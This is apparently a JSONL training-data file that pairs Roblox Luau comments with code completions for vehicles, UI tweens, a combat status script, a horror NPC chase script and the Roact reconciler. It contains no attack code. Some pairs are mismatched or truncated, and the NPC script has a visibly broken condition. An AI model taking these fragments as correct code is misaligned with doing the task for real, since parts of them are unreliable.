RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- Sets the collision group of Blue to the npc group", "completion": "\nsetCollisionGroupRecursive(npcModel, npcGroup)\n"} +{"prompt": "--[[\n Called when the state is left, marking as no longer active\n]]", "completion": "\nfunction BaseState:onLeave()\n\tself._isActive = false\n\n\tfor _, connection in pairs(self._connections) do\n\t\tconnection:Disconnect()\n\tend\n\n\tself._connections = {}\nend\n\nreturn BaseState\n"} +{"prompt": "-- for fading images", "completion": "\nfunction UITween.fadeBackground(object, amount, time, delay)\n\n\tlocal tweenAlpha = TweenInfo.new(\n\t\ttime, --Time\n\t\tEnum.EasingStyle.Quad, --EasingStyle\n\t\tEnum.EasingDirection.Out, --EasingDirection\n\t\t0, --Repeat count\n\t\tfalse, --Reverses if true\n\t\tdelay --Delay time\n\t)\n\n\tlocal tween = tweenService:Create(object, tweenAlpha, {BackgroundTransparency = amount})\n\ttween:Play()\nend\n"} +{"prompt": "--SKP_13.Brightness = 0", "completion": "\n\nSKP_12.Saturation = 0\n\nSKP_12.Contrast = 0\n\nSKP_14.Size = 0\n\nSKP_12.Saturation = 0\n\nSKP_12.Contrast = 0\n\nSKP_15.Variaveis.Dor.Value = 0\n\nif SKP_19 == true then\n\t Tween = SKP_10:Create(SKP_13,TweenInfo.new(game.Players.RespawnTime/1.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Brightness = 0, Contrast = 0,TintColor = Color3.new(0,0,0)}):Play()\n\tend\t\nend)\n\n\nlocal SKP_25 = script.Parent.Parent.Humanoid\nlocal SKP_26 = game.ReplicatedStorage.ACS_Engine.Eventos.MedSys.Collapse\n\nfunction onChanged()\nSKP_26:FireServer()\nif (SKP_17.Value <= 3500) or (SKP_18.Value >= 200) or (SKP_16.Value == true) then\n\tSKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false)\n\tSKP_25:UnequipTools()\nelseif (SKP_17.Value > 3500) and (SKP_18.Value < 200) and (SKP_16.Value == false) and SKP_15.Stances.Rendido.Value == false then -- YAY A MEDIC ARRIVED! =D\n\tSKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)\t\nend\nend\n\nonChanged()\n\nSKP_17.Changed:Connect(onChanged)\nSKP_18.Changed:Connect(onChanged)\nSKP_16.Changed:Connect(onChanged)\n\nSKP_15.Stances.Rendido.Changed:Connect(function(Valor)\nif Valor == true then\nSKP_25:UnequipTools()\nSKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false)\nelse\nSKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)\nend\nend)\n\nSKP_1.Suppression.OnClientEvent:Connect(function(Mode,Intensity,Tempo)\n\tif SKP_00.EnableStatusUI and SKP_2.PlayerGui:FindFirstChild(\"StatusUI\")~= nil then\n\t\tif Mode == 1 then\n\t\t\t--local SKP_22 = script.FX.Vinheta:clone()\n\t\t\t--SKP_22.Parent = SKP_2.PlayerGui.StatusUI.Supressao\n\t\t\t--SKP_22.ImageTransparency = 1\n\n\t\t\tSKP_10:Create(SKP_12,TweenInfo.new(.25 ,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Contrast = 1}):Play()\n\n\t\t\tdelay(.25,function()\n\t\t\tSKP_10:Create(SKP_12,TweenInfo.new(3 ,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Contrast = 0}):Play()\n\t\t\t--SKP_11:AddItem(SKP_22, Tempo)\n\t\t\tend)\n\t\telse\n\t\t\tlocal SKP_22 = script.FX.Dirty:clone()\n\t\t\tSKP_22.Parent = SKP_2.PlayerGui.StatusUI.Supressao\n\t\t\tSKP_22.ImageTransparency = 0\n\t\t\tSKP_22.BackgroundTransparency = (Intensity - 1) * -1\n\n\t\t\tSKP_10:Create(SKP_22,TweenInfo.new(0.25 ,Enum.EasingStyle.Linear,Enum.EasingDirection.In,0,false,0),{ImageTransparency = 0}):Play()\n\t\t\tSKP_10:Create(SKP_22,TweenInfo.new(Tempo/2 ,Enum.EasingStyle.Elastic,Enum.EasingDirection.In,0,false,0),{BackgroundTransparency = 1}):Play()\n\n\n\t\t\tdelay(Tempo/2,function()\n\t\t\tSKP_10:Create(SKP_22,TweenInfo.new(Tempo ,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0),{ImageTransparency = 1}):Play()\n\t\t\tSKP_11:AddItem(SKP_22, Tempo)\n\t\t\tend)\n\t\tend\n\tend\nend)\nlocal RS = game:GetService(\"RunService\")\nRS.RenderStepped:connect(function(Update)\n\tif Morto then\n\n\t\tSKP_2.Character:FindFirstChild(\"Right Arm\").LocalTransparencyModifier = 0\n\n\t\tSKP_2.Character:FindFirstChild(\"Left Arm\").LocalTransparencyModifier = 0\n\t\t\n\t\tSKP_2.Character:FindFirstChild(\"Right Leg\").LocalTransparencyModifier = 0\n\n\t\tSKP_2.Character:FindFirstChild(\"Left Leg\").LocalTransparencyModifier = 0\n\n\t\tSKP_2.Character:FindFirstChild(\"Torso\").LocalTransparencyModifier = 0\t\n\t\t\n\t\tgame.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable\n\t\tgame.Workspace.CurrentCamera.CFrame = SKP_15.Parent:WaitForChild('Head').CFrame\n\tend\nend)\n\nwhile true do\n\t\tSKP_10:Create(SKP_14,TweenInfo.new(3,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Size = 0}):Play()\n\t\twait(3)\n\t\tSKP_10:Create(SKP_14,TweenInfo.new(2,Enum.EasingStyle.Elastic,Enum.EasingDirection.InOut,0,false,0),{Size = (SKP_15.Variaveis.Dor.Value/SKP_15.Variaveis.Dor.MaxValue) * 25}):Play()\n\t\twait(3)\n\tend\n"} +{"prompt": "-- Add icons to an overflow if they overlap the screen bounds or other icons", "completion": "\nworkspace.CurrentCamera:GetPropertyChangedSignal(\"ViewportSize\"):Connect(function()\n\tIconController.updateTopbar()\nend)\n\n\n\nreturn IconController\n"} +{"prompt": "--For R15 avatars", "completion": "\nAnimations = {\n\tR15Slash = 522635514,\n\tR15Lunge = 522638767\n}\n\nDamage = DamageValues.BaseDamage\n\nGrips = {\n\tUp = CFrame.new(0, 0, -1.70000005, 0, 0, 1, 1, 0, 0, 0, 1, 0),\n\tOut = CFrame.new(0, 0, -1.70000005, 0, 1, 0, 1, -0, 0, 0, 0, -1)\n}\n\nSounds = {\n\tSlash = Handle:WaitForChild(\"SwordSlash\"),\n\tLunge = Handle:WaitForChild(\"SwordLunge\"),\n\tUnsheath = Handle:WaitForChild(\"Unsheath\")\n}\n\nToolEquipped = false\n"} +{"prompt": "--[[ Local Functions ]]", "completion": "--\nlocal function createArrowLabel(name, parent, position, size, rectOffset, rectSize)\n\tlocal image = Instance.new('ImageLabel')\n\timage.Name = name\n\timage.Image = DPAD_SHEET\n\timage.ImageRectOffset = rectOffset\n\timage.ImageRectSize = rectSize\n\timage.BackgroundTransparency = 1\n\timage.ImageColor3 = Color3.new(190/255, 190/255, 190/255)\n\timage.Size = size\n\timage.Position = position\n\timage.Parent = parent\n\t\n\treturn image\nend\n"} +{"prompt": "--\t====================\n--\tBURST FIRE\n--\tEnable the gun to do burst firing like Assault Rifle\n--\t====================", "completion": "\n\n\t\tBurstFireEnabled = false;\n\t\tBulletPerBurst = 3;\n\t\tBurstRate = 0.075; --In second\n\t\t"} +{"prompt": "--[[Suspension]]", "completion": "\n\n\tfunction Suspension()\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tlocal Dist\n\t\t\tlocal RefP\n\t\t\tDist = -((v[\"#SA\"].CFrame*CFrame.new(v[\"#SA\"].SForce.Location)):toObjectSpace((v[\"#SB\"].CFrame*CFrame.new(v[\"#SB\"].SForce.Location)))).y\n\t\t\t\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\tlocal force = (_Tune.FSusStiffness*_Tune.FPreCompress + math.max(math.min((_Tune.FSusLength-Dist),_Tune.FExtensionLim),-_Tune.FCompressLim)*_Tune.FSusStiffness)*(_Tune.LegacyScaling/_Tune.WeightScaling)\n\t\t\t\tv[\"#SA\"].SForce.Force = Vector3.new(math.cos(math.rad(_Tune.FSusAngle))*force,math.sin(math.rad(_Tune.FSusAngle))*force,0)\n\t\t\t\tv[\"#SB\"].SForce.Force = Vector3.new(-math.cos(math.rad(_Tune.FSusAngle))*force,-math.sin(math.rad(_Tune.FSusAngle))*force,0)\n\t\t\telse\n\t\t\t\tlocal force = (_Tune.RSusStiffness*_Tune.RPreCompress + math.max(math.min((_Tune.RSusLength-Dist),_Tune.RExtensionLim),-_Tune.RCompressLim)*_Tune.RSusStiffness)*(_Tune.LegacyScaling/_Tune.WeightScaling)\n\t\t\t\tv[\"#SA\"].SForce.Force = Vector3.new(math.cos(math.rad(_Tune.RSusAngle))*force,math.sin(math.rad(_Tune.RSusAngle))*force,0)\n\t\t\t\tv[\"#SB\"].SForce.Force = Vector3.new(-math.cos(math.rad(_Tune.RSusAngle))*force,-math.sin(math.rad(_Tune.RSusAngle))*force,0)\n\t\t\tend\n\t\tend\n\tend\n"} +{"prompt": "--[[\n\tROBLOX deviation: code not ported\n\toriginal code:\ntype FailedResults = Array<{\n content: string;\n result: TestResult.AssertionResult;\n}>;\n\nexport const formatResultsErrors = (\n testResults: Array,\n config: StackTraceConfig,\n options: StackTraceOptions,\n testPath?: Path,\n): string | null => {\n const failedResults: FailedResults = testResults.reduce(\n (errors, result) => {\n result.failureMessages.forEach(item => {\n errors.push({content: checkForCommonEnvironmentErrors(item), result});\n });\n return errors;\n },\n [],\n );\n\n if (!failedResults.length) {\n return null;\n }\n\n return failedResults\n .map(({result, content}) => {\n let {message, stack} = separateMessageFromStack(content);\n stack = options.noStackTrace\n ? ''\n : STACK_TRACE_COLOR(\n formatStackTrace(stack, config, options, testPath),\n ) + '\\n';\n\n message = indentAllLines(message, MESSAGE_INDENT);\n\n const title =\n chalk.bold.red(\n TITLE_INDENT +\n TITLE_BULLET +\n result.ancestorTitles.join(ANCESTRY_SEPARATOR) +\n (result.ancestorTitles.length ? ANCESTRY_SEPARATOR : '') +\n result.title,\n ) + '\\n';\n\n return title + '\\n' + message + '\\n' + stack;\n })\n .join('\\n');\n};\n]]", "completion": "\n"} +{"prompt": "-- LocalScript", "completion": "\n\nlocal numValue = Player.Trabalho.Valor -- substitua \"NumValue\" pelo nome da sua NumberValue\nlocal textLabel = script.Parent -- substitua \"TextLabel\" pelo nome do seu TextLabel\n"} +{"prompt": "-- Events", "completion": "\nlocal Events = ReplicatedStorage.Events\nlocal AddUpgradeEvent = Events.AddUpgrade\nlocal TouchCheckpointEvent = Events.TouchCheckpoint\nlocal UpdatePoints = Events.UpdatePoints\n\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=100;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"Torso\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"Torso\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.5);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=30;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=500;\nJeffTheKillerHumanoid.JumpPower=60;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "--[[Flip]]", "completion": "\n\n\tfunction Flip()\n\t\t--Detect Orientation\n\t\tif (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then\n\t\t\tFlipWait=tick()\n\t\t\t\n\t\t--Apply Flip\n\t\telse\n\t\t\tif tick()-FlipWait>=3 then\n\t\t\t\tFlipDB=true\n\t\t\t\tlocal gyro = car.DriveSeat.Flip\n\t\t\t\tgyro.maxTorque = Vector3.new(10000,0,10000)\n\t\t\t\tgyro.P=3000\n\t\t\t\tgyro.D=500\n\t\t\t\twait(1)\n\t\t\t\tgyro.maxTorque = Vector3.new(0,0,0)\n\t\t\t\tgyro.P=0\n\t\t\t\tgyro.D=0\n\t\t\t\tFlipDB=false\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n\t"} +{"prompt": "--[[\n\tThe reconciler is the mechanism in Roact that constructs the virtual tree\n\tthat later gets turned into concrete objects by the renderer.\n\n\tRoact's reconciler is constructed with the renderer as an argument, which\n\tenables switching to different renderers for different platforms or\n\tscenarios.\n\n\tWhen testing the reconciler itself, it's common to use `NoopRenderer` with\n\tspies replacing some methods. The default (and only) reconciler interface\n\texposed by Roact right now uses `RobloxRenderer`.\n]]", "completion": "\nlocal function createReconciler(renderer)\n\tlocal reconciler\n\tlocal mountVirtualNode\n\tlocal updateVirtualNode\n\tlocal unmountVirtualNode\n\n\t--[[\n\t\tUnmount the given virtualNode, replacing it with a new node described by\n\t\tthe given element.\n\n\t\tPreserves host properties, depth, and legacyContext from parent.\n\t]]\n\tlocal function replaceVirtualNode(virtualNode, newElement)\n\t\tlocal hostParent = virtualNode.hostParent\n\t\tlocal hostKey = virtualNode.hostKey\n\t\tlocal depth = virtualNode.depth\n\t\tlocal parent = virtualNode.parent\n\n\t\t-- If the node that is being replaced has modified context, we need to\n\t\t-- use the original *unmodified* context for the new node\n\t\t-- The `originalContext` field will be nil if the context was unchanged\n\t\tlocal context = virtualNode.originalContext or virtualNode.context\n\t\tlocal parentLegacyContext = virtualNode.parentLegacyContext\n\n\t\tunmountVirtualNode(virtualNode)\n\t\tlocal newNode = mountVirtualNode(newElement, hostParent, hostKey, context, parentLegacyContext)\n\n\t\t-- mountVirtualNode can return nil if the element is a boolean\n\t\tif newNode ~= nil then\n\t\t\tnewNode.depth = depth\n\t\t\tnewNode.parent = parent\n\t\tend\n\n\t\treturn newNode\n\tend\n\n\t--[[\n\t\tUtility to update the children of a virtual node based on zero or more\n\t\tupdated children given as elements.\n\t]]\n\tlocal function updateChildren(virtualNode, hostParent, newChildElements)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(Type.of(virtualNode) == Type.VirtualNode, \"Expected arg #1 to be of type VirtualNode\")\n\t\tend\n\n\t\tlocal removeKeys = {}\n\n\t\t-- Changed or removed children\n\t\tfor childKey, childNode in pairs(virtualNode.children) do\n\t\t\tlocal newElement = ElementUtils.getElementByKey(newChildElements, childKey)\n\t\t\tlocal newNode = updateVirtualNode(childNode, newElement)\n\n\t\t\tif newNode ~= nil then\n\t\t\t\tvirtualNode.children[childKey] = newNode\n\t\t\telse\n\t\t\t\tremoveKeys[childKey] = true\n\t\t\tend\n\t\tend\n\n\t\tfor childKey in pairs(removeKeys) do\n\t\t\tvirtualNode.children[childKey] = nil\n\t\tend\n\n\t\t-- Added children\n\t\tfor childKey, newElement in ElementUtils.iterateElements(newChildElements) do\n\t\t\tlocal concreteKey = childKey\n\t\t\tif childKey == ElementUtils.UseParentKey then\n\t\t\t\tconcreteKey = virtualNode.hostKey\n\t\t\tend\n\n\t\t\tif virtualNode.children[childKey] == nil then\n\t\t\t\tlocal childNode = mountVirtualNode(\n\t\t\t\t\tnewElement,\n\t\t\t\t\thostParent,\n\t\t\t\t\tconcreteKey,\n\t\t\t\t\tvirtualNode.context,\n\t\t\t\t\tvirtualNode.legacyContext\n\t\t\t\t)\n\n\t\t\t\t-- mountVirtualNode can return nil if the element is a boolean\n\t\t\t\tif childNode ~= nil then\n\t\t\t\t\tchildNode.depth = virtualNode.depth + 1\n\t\t\t\t\tchildNode.parent = virtualNode\n\t\t\t\t\tvirtualNode.children[childKey] = childNode\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal function updateVirtualNodeWithChildren(virtualNode, hostParent, newChildElements)\n\t\tupdateChildren(virtualNode, hostParent, newChildElements)\n\tend\n\n\tlocal function updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)\n\t\tif Type.of(renderResult) == Type.Element\n\t\t\tor renderResult == nil\n\t\t\tor typeof(renderResult) == \"boolean\"\n\t\tthen\n\t\t\tupdateChildren(virtualNode, hostParent, renderResult)\n\t\telse\n\t\t\terror((\"%s\\n%s\"):format(\n\t\t\t\t\"Component returned invalid children:\",\n\t\t\t\tvirtualNode.currentElement.source or \"\"\n\t\t\t), 0)\n\t\tend\n\tend\n\n\t--[[\n\t\tUnmounts the given virtual node and releases any held resources.\n\t]]\n\tfunction unmountVirtualNode(virtualNode)\n\t\tif config.internalTypeChecks then\n\t\t\tinternalAssert(Type.of(virtualNode) == Type.VirtualNode, \"Expected arg #1 to be of type VirtualNode\")\n\t\tend\n\n\t\tlocal kind = ElementKind.of(virtualNode.currentElement)\n\n\t\tif kind == ElementKind.Host then\n\t\t\trenderer.unmountHostNode(reconciler, virtualNode)\n\t\telseif kind == ElementKind.Function then\n\t\t\tfor _, childNode in pairs(virtualNode.children) do\n\t\t\t\tunmountVirtualNode(childNode)\n\t\t\tend\n\t\telseif kind == ElementKind.Stateful then\n\t\t\tvirtualNode.instance:__unmount()\n\t\telseif kind == ElementKind.Portal then\n\t\t\tfor _, childNode in pairs(virtualNode.children) do\n\t\t\t\tunmountVirtualNode(childNode)\n\t\t\tend\n\t\telseif kind == ElementKind.Fragment then\n\t\t\tfor _, childNode in pairs(virtualNode.children) do\n\t\t\t\tunmountVirtualNode(childNode)\n\t\t\tend\n\t\telse\n\t\t\terror((\"Unknown ElementKind %q\"):format(tostring(kind)), 2)\n\t\tend\n\tend\n\n\tlocal function updateFunctionVirtualNode(virtualNode, newElement)\n\t\tlocal children = newElement.component(newElement.props)\n\n\t\tupdateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)\n\n\t\treturn virtualNode\n\tend\n\n\tlocal function updatePortalVirtualNode(virtualNode, newElement)\n\t\tlocal oldElement = virtualNode.currentElement\n\t\tlocal oldTargetHostParent = oldElement.props.target\n\n\t\tlocal targetHostParent = newElement.props.target\n\n\t\tassert(renderer.isHostObject(targetHostParent), \"Expected target to be host object\")\n\n\t\tif targetHostParent ~= oldTargetHostParent then\n\t\t\treturn replaceVirtualNode(virtualNode, newElement)\n\t\tend\n\n\t\tlocal children = newElement.props[Children]\n\n\t\tupdateVirtualNodeWithChildren(virtualNode, targetHostParent, children)\n\n\t\treturn virtualNode\n\tend\n\n\tlocal function updateFragmentVirtualNode(virtualNode, newElement)\n\t\tupdateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, newElement.elements)\n\n\t\treturn virtualNode\n\tend\n\n\t--[[\n\t\tUpdate the given virtual node using a new element describing what it\n\t\tshould transform into.\n\n\t\t`updateVirtualNode` will return a new virtual node that should replace\n\t\tthe passed in virtual node. This is because a virtual node can be\n\t\tupdated with an element referencing a different component!\n\n\t\tIn that case, `updateVirtualNode` will unmount the input virtual node,\n\t\tmount a new virtual node, and return it in this case, while also issuing\n\t\ta warning to the user.\n\t]]\n\tfunction updateVirtualNode(virtualNode, newElement, newState)\n\t\tif config.internalTypeChecks 